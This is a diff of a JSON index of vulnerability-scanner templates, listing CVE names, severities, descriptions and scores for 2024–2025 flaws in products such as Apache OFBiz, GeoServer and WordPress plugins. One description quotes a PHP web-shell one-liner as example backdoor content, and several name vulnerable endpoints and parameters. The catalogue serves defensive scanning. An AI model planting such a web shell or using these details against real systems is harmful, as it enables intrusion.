+{"ID":"CVE-2024-36104","Info":{"Name":"Apache OFBiz - Directory Traversal \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36104.yaml"}
 {"ID":"CVE-2024-36117","Info":{"Name":"Reposilite \u003e= 3.3.0, \u003c 3.5.12 - Arbitrary File Read","Severity":"high","Description":"Reposilite is an open source, lightweight and easy-to-use repository manager for Maven based artifacts in JVM ecosystem. Reposilite v3.5.10 is affected by an Arbitrary File Read vulnerability via path traversal while serving expanded javadoc files. Reposilite has addressed this issue in version 3.5.12. There are no known workarounds for this vulnerability. This issue was discovered and reported by the GitHub Security lab and is also tracked as GHSL-2024-074.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-36117.yaml"}
 {"ID":"CVE-2024-36401","Info":{"Name":"GeoServer RCE in Evaluating Property Name Expressions","Severity":"critical","Description":"In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36401.yaml"}
 {"ID":"CVE-2024-36404","Info":{"Name":"GeoServer and GeoTools - Remote Code Execution","Severity":"critical","Description":"GeoTools is an open source Java library that provides tools for geospatial data. Prior to versions 31.2, 30.4, and 29.6, Remote Code Execution (RCE) is possible if an application uses certain GeoTools functionality to evaluate XPath expressions supplied by user input. Versions 31.2, 30.4, and 29.6 contain a fix for this issue. As a workaround, GeoTools can operate with reduced functionality by removing the `gt-complex` jar from one's application. As an example of the impact, application schema `datastore` would not function without the ability to use XPath expressions to query complex content. Alternatively, one may utilize a drop-in replacement GeoTools jar from SourceForge for versions 31.1, 30.3, 30.2, 29.2, 28.2, 27.5, 27.4, 26.7, 26.4, 25.2, and 24.0. These jars are for download only and are not available from maven central, intended to quickly provide a fix to affected applications.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36404.yaml"}
 {"ID":"CVE-2024-36412","Info":{"Name":"SuiteCRM - SQL Injection","Severity":"critical","Description":"SuiteCRM is an open-source Customer Relationship Management (CRM) software application. Prior to versions 7.14.4 and 8.6.1, a vulnerability in events response entry point allows for a SQL injection attack. Versions 7.14.4 and 8.6.1 contain a fix for this issue.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36412.yaml"}
 {"ID":"CVE-2024-36527","Info":{"Name":"Puppeteer Renderer  - Directory Traversal","Severity":"medium","Description":"puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36527.yaml"}
 {"ID":"CVE-2024-3656","Info":{"Name":"Keycloak \u003c 24.0.5 - Broken Access Control","Severity":"high","Description":"A flaw was found in Keycloak. Certain endpoints in Keycloak's admin REST API allow low-privilege users to access administrative functionalities. This flaw allows users to perform actions reserved for administrators, potentially leading to data breaches or system compromise.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2024/CVE-2024-3656.yaml"}
+{"ID":"CVE-2024-36675","Info":{"Name":"LyLme spage v1.9.5 - Server-Side Request Forgery","Severity":"high","Description":"LyLme spage v1.9.5 is vulnerable to server-side request forgery (SSRF) via the url parameter in apply/index.php. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-36675.yaml"}
 {"ID":"CVE-2024-36683","Info":{"Name":"PrestaShop productsalert - SQL Injection","Severity":"critical","Description":"In the module 'Products Alert' (productsalert) up to version 1.7.4 from Smart Modules for PrestaShop, a guest can perform SQL injection in affected versions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-36683.yaml"}
 {"ID":"CVE-2024-3673","Info":{"Name":"Web Directory Free \u003c 1.7.3 - Local File Inclusion","Severity":"critical","Description":"The Web Directory Free WordPress plugin before 1.7.3 does not validate a parameter before using it in an include(), which could lead to Local File Inclusion issues.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-3673.yaml"}
 {"ID":"CVE-2024-36837","Info":{"Name":"CRMEB v.5.2.2 - SQL Injection","Severity":"high","Description":"SQL Injection vulnerability in CRMEB v.5.2.2 allows a remote attacker to obtain sensitive information via the getProductList function in the ProductController.php file.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-36837.yaml"}
@@ -2807,7 +2817,7 @@
 {"ID":"CVE-2024-38514","Info":{"Name":"NextChat - Server-Side Request Forgery","Severity":"high","Description":"NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.\n","Classification":{"CVSSScore":"7.4"}},"file_path":"http/cves/2024/CVE-2024-38514.yaml"}
 {"ID":"CVE-2024-38653","Info":{"Name":"Ivanti Avalanche SmartDeviceServer - XML External Entity","Severity":"high","Description":"XXE in SmartDeviceServer in Ivanti Avalanche 6.3.1 allows a remote unauthenticated attacker to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38653.yaml"}
 {"ID":"CVE-2024-38816","Info":{"Name":"WebMvc.fn/WebFlux.fn - Path Traversal","Severity":"high","Description":"Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-38816.yaml"}
-{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Remote Code Execution","Severity":"critical","Description":"Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
+{"ID":"CVE-2024-38856","Info":{"Name":"Apache OFBiz - Improper Authorization \u0026 Remote Code Execution","Severity":"critical","Description":"Improper Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-38856.yaml"}
 {"ID":"CVE-2024-3922","Info":{"Name":"Dokan Pro \u003c= 3.10.3 - SQL Injection","Severity":"critical","Description":"The Dokan Pro plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter in all versions up to, and including, 3.10.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-3922.yaml"}
 {"ID":"CVE-2024-39250","Info":{"Name":"EfroTech Timetrax v8.3 - Sql Injection","Severity":"high","Description":"EfroTech Timetrax v8.3 was discovered to contain an unauthenticated SQL injection vulnerability via the q parameter in the search web interface.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-39250.yaml"}
 {"ID":"CVE-2024-39713","Info":{"Name":"Rocket.Chat - Server-Side Request Forgery (SSRF)","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) affects Rocket.Chat's Twilio webhook endpoint before version 6.10.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-39713.yaml"}
@@ -2826,6 +2836,7 @@
 {"ID":"CVE-2024-41955","Info":{"Name":"Open Redirect in Login Redirect - MobSF","Severity":"medium","Description":"Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile. An open redirect vulnerability exist in MobSF authentication view.\n","Classification":{"CVSSScore":"5.2"}},"file_path":"http/cves/2024/CVE-2024-41955.yaml"}
 {"ID":"CVE-2024-4257","Info":{"Name":"BlueNet Technology Clinical Browsing System 1.2.1 - Sql Injection","Severity":"medium","Description":"A vulnerability was found in BlueNet Technology Clinical Browsing System 1.2.1. It has been classified as critical. This affects an unknown part of the file /xds/deleteStudy.php. The manipulation of the argument documentUniqueId leads to sql injection. It is possible to initiate the attack remotely.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2024/CVE-2024-4257.yaml"}
 {"ID":"CVE-2024-42640","Info":{"Name":"Angular-Base64-Upload - Remote Code Execution","Severity":"critical","Description":"angular-base64-upload prior to v0.1.21 is vulnerable to unauthenticated remote code execution via demo/server.php. Exploiting this vulnerability allows an attacker to upload arbitrary content to the server, which can subsequently be accessed through demo/uploads. This leads to the execution of previously uploaded content and enables the attacker to achieve code execution on the server. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-42640.yaml"}
+{"ID":"CVE-2024-42852","Info":{"Name":"AcuToWeb server/10.5.0.7577c8b - Cross-Site Scripting","Severity":"medium","Description":"AcuToWeb server/10.5.0.7577c8b is vulnerable to reflected cross-site scripting (XSS) via the portgw parameter. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-42852.yaml"}
 {"ID":"CVE-2024-4295","Info":{"Name":"Email Subscribers by Icegram Express \u003c= 5.7.20 - Unauthenticated SQL Injection via Hash","Severity":"critical","Description":"Email Subscribers by Icegram Express \u003c= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-4295.yaml"}
 {"ID":"CVE-2024-43160","Info":{"Name":"BerqWP \u003c= 1.7.6 - Arbitrary File Upload","Severity":"critical","Description":"The BerqWP Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /api/store_webp.php file in all versions up to, and including, 1.7.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-43160.yaml"}
 {"ID":"CVE-2024-4325","Info":{"Name":"Gradio - Server-Side Request Forgery","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) vulnerability exists in the gradio-app/gradio version 4.21.0, specifically within the `/queue/join` endpoint and the `save_url_to_cache` function. The vulnerability arises when the `path` value, obtained from the user and expected to be a URL, is used to make an HTTP request without sufficient validation checks. This flaw allows an attacker to send crafted requests that could lead to unauthorized access to the local network or the AWS metadata endpoint, thereby compromising the security of internal servers.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2024/CVE-2024-4325.yaml"}
@@ -2879,6 +2890,7 @@
 {"ID":"CVE-2024-49757","Info":{"Name":"Zitadel - User Registration Bypass","Severity":"high","Description":"The open-source identity infrastructure software Zitadel allows administrators to disable the user self-registration. Due to a missing security check in versions prior to 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7, disabling the \"User Registration allowed\" option only hid the registration button on the login page. Users could bypass this restriction by directly accessing the registration URL (/ui/login/loginname) and register a user that way. Versions 2.64.0, 2.63.5, 2.62.7, 2.61.4, 2.60.4, 2.59.5, and 2.58.7 contain a patch. No known workarounds are available.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-49757.yaml"}
 {"ID":"CVE-2024-50334","Info":{"Name":"Scoold \u003c 1.64.0 - Authentication Bypass","Severity":"medium","Description":"Scoold is a Q\u0026A and a knowledge sharing platform for teams. A semicolon path injection vulnerability was found on the /api;/config endpoint. By appending a semicolon in the URL, attackers can bypass authentication and gain unauthorised access to sensitive configuration data. Furthermore, PUT requests on the /api;/config endpoint while setting the Content-Type- application/hocon header allow unauthenticated attackers to file reading via HOCON file inclusion. This allows attackers to retrieve sensitive information such as configuration files from the server, which can be leveraged for further exploitation. The vulnerability has been fixed in Scoold 1.64.0. A workaround would be to disable the Scoold API with scoold.api_enabled = false.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-50334.yaml"}
 {"ID":"CVE-2024-50340","Info":{"Name":"Symfony Profiler - Remote Access via Injected Arguments","Severity":"high","Description":"symfony/runtime is a module for the Symphony PHP framework which enables decoupling PHP applications from global state. When the `register_argv_argc` php directive is set to `on` , and users call any URL with a special crafted query string, they are able to change the environment or debug mode used by the kernel when handling the request. As of versions 5.4.46, 6.4.14, and 7.1.7 the `SymfonyRuntime` now ignores the `argv` values for non-SAPI PHP runtimes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-50340.yaml"}
+{"ID":"CVE-2024-50477","Info":{"Name":"WordPress Stacks Mobile App Builder \u003c=5.2.3 - Authentication Bypass","Severity":"critical","Description":"Stacks Mobile App Builder WordPress plugin ≤ 5.2.3 suffers from an authentication bypass vulnerability via improper handling of query parameters, allowing attackers to impersonate arbitrary users.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-50477.yaml"}
 {"ID":"CVE-2024-50498","Info":{"Name":"WP Query Console \u003c= 1.0 - Remote Code Execution","Severity":"critical","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in LUBUS WP Query Console allows Code Injection.This issue affects WP Query Console- from n/a through 1.0.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-50498.yaml"}
 {"ID":"CVE-2024-50603","Info":{"Name":"Aviatrix Controller - Remote Code Execution","Severity":"critical","Description":"An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-50603.yaml"}
 {"ID":"CVE-2024-50623","Info":{"Name":"Cleo Harmony \u003c 5.8.0.21 - Arbitary File Read","Severity":"high","Description":"In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-50623.yaml"}
@@ -2893,7 +2905,7 @@
 {"ID":"CVE-2024-51567","Info":{"Name":"CyberPanel v2.3.6 Pre-Auth Remote Code Execution","Severity":"critical","Description":"upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypass authentication and execute arbitrary commands via /dataBases/upgrademysqlstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-51567.yaml"}
 {"ID":"CVE-2024-51739","Info":{"Name":"iTop - User Enumeration via REST Endpoint","Severity":"medium","Description":"From the webservices/rest.php file, several operations are accessible from an unauthenticated user. One of them is `do_reset_pwd`, allowing to reset a user password. This feature can be abused to perform user enumeration when a non-existent user is provided.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-51739.yaml"}
 {"ID":"CVE-2024-51977","Info":{"Name":"Brother MFC-L9570CDW - Information Disclosure","Severity":"medium","Description":"An unauthenticated attacker who can access either the HTTP service (TCP port 80), the HTTPS service (TCP port 443), or the IPP service (TCP port 631), can leak several pieces of sensitive information from a vulnerable device. The URI path /etc/mnt_info.csv can be accessed via a GET request and no authentication is required. The returned result is a comma separated value (CSV) table of information. The leaked information includes the device’s model, firmware version, IP address, and serial number.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-51977.yaml"}
-{"ID":"CVE-2024-51978","Info":{"Name":"Brother Printers – Authentication Bypass via Default Admin Password","Severity":"critical","Description":"By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password.\nThe target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51978.yaml"}
+{"ID":"CVE-2024-51978","Info":{"Name":"Brother Printers – Authentication Bypass via Default Admin Password","Severity":"critical","Description":"By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51978.yaml"}
 {"ID":"CVE-2024-5217","Info":{"Name":"ServiceNow - Incomplete Input Validation","Severity":"critical","Description":"ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5217.yaml"}
 {"ID":"CVE-2024-5230","Info":{"Name":"FleetCart 4.1.1 - Information Disclosure","Severity":"medium","Description":"Issues with information disclosure in redirect responses. Accessing the majority of the website's pages exposes sensitive data, including the \"Razorpay\" \"razorpayKeyId\".\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-5230.yaml"}
 {"ID":"CVE-2024-52433","Info":{"Name":"My Geo Posts Free \u003c= 1.2 - PHP Object Injection","Severity":"critical","Description":"The My Geo Posts Free plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-52433.yaml"}
@@ -2932,6 +2944,7 @@
 {"ID":"CVE-2024-57514","Info":{"Name":"TP-Link Archer A20 v3 Router - Cross-site Scripting","Severity":"medium","Description":"The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.\n","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2024/CVE-2024-57514.yaml"}
 {"ID":"CVE-2024-5765","Info":{"Name":"WpStickyBar \u003c= 2.1.0 - SQL Injection","Severity":"high","Description":"The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5765.yaml"}
 {"ID":"CVE-2024-57727","Info":{"Name":"SimpleHelp \u003c= 5.5.7 - Unauthenticated Path Traversal","Severity":"high","Description":"SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-57727.yaml"}
+{"ID":"CVE-2024-58136","Info":{"Name":"Yii2 PHP Framework \u003c 2.0.52 - Remote Code Execution","Severity":"critical","Description":"Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-58136.yaml"}
 {"ID":"CVE-2024-5827","Info":{"Name":"Vanna - SQL injection","Severity":"critical","Description":"Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `\u003c?php system($_GET[0]); ?\u003e`. This can lead to command execution or the creation of backdoors.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5827.yaml"}
 {"ID":"CVE-2024-5910","Info":{"Name":"Palo Alto Expedition - Admin Account Takeover","Severity":"critical","Description":"Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2024/CVE-2024-5910.yaml"}
 {"ID":"CVE-2024-5932","Info":{"Name":"GiveWP - PHP Object Injection","Severity":"critical","Description":"The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5932.yaml"}
@@ -3004,6 +3017,7 @@
 {"ID":"CVE-2024-8877","Info":{"Name":"Riello Netman 204 - SQL Injection","Severity":"critical","Description":"The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-8877.yaml"}
 {"ID":"CVE-2024-8883","Info":{"Name":"Keycloak - Open Redirect","Severity":"medium","Description":"A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2024/CVE-2024-8883.yaml"}
 {"ID":"CVE-2024-8963","Info":{"Name":"Ivanti Cloud Services Appliance - Path Traversal","Severity":"critical","Description":"Path Traversal in the Ivanti CSA before 4.6 Patch 519 allows a remote unauthenticated attacker to access restricted functionality.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-8963.yaml"}
+{"ID":"CVE-2024-9007","Info":{"Name":"123Solar 1.8.4.5 - Cross-Site Scripting","Severity":"medium","Description":"123Solar 1.8.4.5 is vulnerable to reflected cross-site scripting (XSS) via the date1 parameter in detailed.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-9007.yaml"}
 {"ID":"CVE-2024-9014","Info":{"Name":"pgAdmin 4 - Authentication Bypass","Severity":"critical","Description":"pgAdmin 4 versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. This vulnerability allows an attacker to potentially obtain the client ID and secret, leading to unauthorized access to user data.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2024/CVE-2024-9014.yaml"}
 {"ID":"CVE-2024-9047","Info":{"Name":"WordPress File Upload \u003c= 4.24.11 - Arbitrary File Read","Severity":"critical","Description":"The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9047.yaml"}
 {"ID":"CVE-2024-9061","Info":{"Name":"WP Popup Builder Popup Forms and Marketing Lead Generation \u003c= 1.3.5 - Arbitrary Shortcode Execution","Severity":"high","Description":"The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2024/CVE-2024-9061.yaml"}
@@ -3014,7 +3028,6 @@
 {"ID":"CVE-2024-9463","Info":{"Name":"PaloAlto Networks Expedition - Remote Code Execution","Severity":"critical","Description":"An OS command injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2024/CVE-2024-9463.yaml"}
 {"ID":"CVE-2024-9465","Info":{"Name":"Palo Alto Expedition - SQL Injection","Severity":"high","Description":"An SQL injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2024/CVE-2024-9465.yaml"}
 {"ID":"CVE-2024-9474","Info":{"Name":"PAN-OS Management Web Interface - Command Injection","Severity":"high","Description":"A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.\nCloud NGFW and Prisma Access are not impacted by this vulnerability.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2024/CVE-2024-9474.yaml"}
-{"ID":"CVE-2024-9487","Info":{"Name":"GitHub Enterprise - SAML Authentication Bypass","Severity":"critical","Description":"An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-9487.yaml"}
 {"ID":"CVE-2024-9593","Info":{"Name":"Time Clock \u003c= 1.2.2 \u0026 Time Clock Pro \u003c= 1.1.4 - Remote Code Execution","Severity":"high","Description":"The Time Clock plugin and Time Clock Pro plugin for WordPress are vulnerable to Remote Code Execution in versions up to, and including, 1.2.2 (for Time Clock) and 1.1.4 (for Time Clock Pro) via the 'etimeclockwp_load_function_callback' function. This allows unauthenticated attackers to execute code on the server. The invoked function's parameters cannot be specified.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"http/cves/2024/CVE-2024-9593.yaml"}
 {"ID":"CVE-2024-9617","Info":{"Name":"Danswer - Insecure Direct Object Reference","Severity":"medium","Description":"The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user's file.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-9617.yaml"}
 {"ID":"CVE-2024-9707","Info":{"Name":"Hunk Companion \u003c= 1.8.4 - Arbitrary Plugin Installation","Severity":"critical","Description":"The Hunk Companion plugin for WordPress is vulnerable to unauthorized plugin installation/activation due to a missing capability check on the /wp-json/hc/v1/themehunk-import REST API endpoint in all versions up to, and including, 1.8.4. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9707.yaml"}
@@ -3032,6 +3045,7 @@
 {"ID":"CVE-2025-1097","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1097.yaml"}
 {"ID":"CVE-2025-1098","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1098.yaml"}
